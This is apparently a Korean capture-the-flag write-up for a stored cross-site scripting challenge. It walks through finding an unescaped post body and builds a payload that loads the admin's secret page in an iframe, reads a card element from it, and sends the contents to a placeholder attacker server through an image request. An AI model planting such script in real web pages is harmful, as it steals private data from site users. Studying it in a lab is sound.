문제를 확인해보겠습니다
중요한 정보는 마이페이지에 있지만, XSS 취약점이 다른 곳에 있을 것 같네요
iframe
을 이용해 중요 정보를 탈취해야 할 것 같습니다
우선 XSS 취약점 위치를 찾아보겠습니다
마이페이지가 아닌 다른 페이지에 XSS 취약점이 있을 가능성이 크니, 게시판을 확인해보겠습니다
취약점 확인과 동시에 XSS 특수문자 사용 가능 여부를 확인하기 위해, 제목과 내용에 <'">
를 포함시켰습니다
제목은 <
과 >
가 HTML Entity로 변환되지만, 글에서는 모두 사용 가능한 것을 확인하였습니다
즉, 게시글 본문에 XSS 취약점이 존재합니다
우선 iframe을 넣어야 합니다
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetFrame"></iframe>
관리자의 중요한 정보가 있는 페이지를 삽입해줍니다
그리고 문제에 주어진 관리자와 똑같은 페이지 링크를 이용해 iframe
에 삽입된 페이지 내에 우리가 탈취해야 할 정보의 위치를 확인합니다
표시한 위치가 실제 관리자 페이지에서는 중요 정보가 있는 곳입니다
그렇다면 해당 요소를 선택하기 위해서는 아래와 같은 접근이 필요합니다
document.getElementsByClassName('card-text')[1].innerHTML;
그런데 이 마이페이지는 iframe
을 통해서 삽입된 페이지이니, 이 삽입된 페이지의 document 객체를 가져올 수 있어야 합니다
iframe
요소의 id 값을 targetFrame
로 설정했으니, 이 iframe
요소에 담긴 페이지의 document 객체를 가져오는 방법은 아래와 같습니다
var target = document.getElementById('targetFrame');
var domData = target.contentDocument;
이제 domData 안에 iframe 내 페이지의 document 객체가 담겼습니다
그렇다면 우리가 게시글에 저장해야 할 스크립트는 아래와 같습니다
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetFrame"></iframe>
<script>
var target = document.getElementById('targetFrame');
var domData = target.contentDocument;
var data = domData.getElementsByClassName('card-text')[1].innerHTML;
var i = new Image();
i.src="공격자서버주소/?data="+data;
</script>
이 스크립트가 저장된 게시글의 링크에 관리자가 접속하면, 공격자의 서버로 중요 정보가 넘어가게 됩니다